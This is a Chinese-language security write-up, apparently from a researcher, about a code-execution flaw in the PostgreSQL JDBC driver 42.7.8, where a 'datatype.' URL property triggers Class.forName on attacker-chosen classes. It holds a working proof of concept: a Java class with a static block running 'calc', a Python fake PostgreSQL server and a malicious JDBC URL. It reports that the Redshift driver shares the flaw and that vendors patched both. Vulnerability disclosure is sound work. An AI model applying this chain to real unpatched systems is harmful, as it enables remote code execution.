某次看 JDBC 源码的时候发现 postgresql-42.7.8 里有一行抽象的代码:

可以看到逻辑还是很简单,就是当发现某个属性以 datatype.开头,就会直接用 Class.forName把传入的值当作类强行加载起来,默认情况下会立刻执行它 static 代码块里对应的代码,虽然在后面用 klass.asSubclass(org.postgresql.util.PGobject.class) 做了一下对应的检测,但很显然这时候代码都执行完了已经无济于事了。
当时感觉如果直接调用原生类的 static 代码块,最多也就是消耗一下系统资源啥的,能 dos就了不起了,要想真的有危害还得是攻击者自己用文件上传之类的方法在 static块里写好恶意代码然后传进 classpath里,这时就能 RCE 了 ,比如下面这个例子:
import java.io.IOException;
public class VerifyPoC {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public void VerifyPoC() {
}
}
由于JDBC 驱动程序仅在连接握手成功后才会解析数据类型参数,所以还需要起一个假的 PostgreSQL 服务器来骗一下驱动:
import socket
import struct
import time
def run_fake_pg():
HOST = "127.0.0.1"
PORT = 5439
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((HOST, PORT))
server.listen(1)
print(f"[+] 假 PostgreSQL 服务已启动,监听: {HOST}:{PORT}")
except Exception as e:
print(f"[-] 端口启动失败: {e}")
return
while True:
try:
print("[*] 等待新的连接...")
conn, addr = server.accept()
print(f"[!] 收到连接: {addr}")
# --- 握手阶段 ---
data = conn.recv(1024)
# 处理 SSL 请求
if len(data) >= 8 and data[4:8] == b"\x04\xd2\x16\x2f":
print("[*] 收到 SSL 协商,拒绝之")
conn.send(b"N")
data = conn.recv(1024) # 接收真正的 StartupMessage
print("[*] 收到启动包,开始伪装认证...")
# 1. 认证成功 AuthenticationOK
conn.send(b"R" + struct.pack("!i", 8) + struct.pack("!i", 0))
# 2. 发送必要的参数 ParameterStatus
# 必须发 server_version,否则驱动可能报错
for k, v in [
("server_version", "10.0"),
("client_encoding", "UTF8"),
("DateStyle", "ISO, MDY"),
]:
payload = k.encode() + b"\x00" + v.encode() + b"\x00"
conn.send(b"S" + struct.pack("!i", 4 + len(payload)) + payload)
# 3. 后端密钥 BackendKeyData
conn.send(
b"K"
+ struct.pack("!i", 12)
+ struct.pack("!i", 1)
+ struct.pack("!i", 2)
)
# 4. 准备就绪 ReadyForQuery
conn.send(b"Z" + struct.pack("!i", 5) + b"I")
print("[->] 握手完成,进入交互模式")
# --- 交互阶段 (关键修改点) ---
# 无论 Driver 发什么,我们都回复 "执行成功" + "准备就绪"
while True:
data = conn.recv(4096)
if not data:
print("[-] 客户端断开连接")
break
# 打印一下驱动发了什么 (通常是 Q 开头的 Query)
# print(f"[<] Driver 请求: {data[:20]}")
# 回复 CommandComplete (标识 SQL 执行完毕)
# 格式: 'C' + len + "SELECT 1" + \0
tag = b"SELECT 1"
conn.send(b"C" + struct.pack("!i", 5 + len(tag)) + tag + b"\x00")
# 回复 ReadyForQuery (标识空闲,可以接下一个活了)
conn.send(b"Z" + struct.pack("!i", 5) + b"I")
except ConnectionResetError:
print("[-] 连接被重置")
except Exception as e:
print(f"[-] 发生错误: {e}")
finally:
if "conn" in locals():
conn.close()
if __name__ == "__main__":
run_fake_pg()
最后用 postgresql jdbc 触发 RCE:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class pgRCE {
public static void main(String[] args) throws SQLException {
String url = "jdbc:postgresql://127.0.0.1:5439/?datatype.poc=VerifyPoC&ssl=false";
java.sql.DriverManager.getConnection(url, "", "");
}
}

除了 postgresql 他自己,一些基于 postgresql 实现的下游驱动也有类似的问题,比如亚马逊的 redshift:

虽然厂商都认可了我的报告发补丁修复了,然而都没水到 CVE /(ㄒoㄒ)/~~

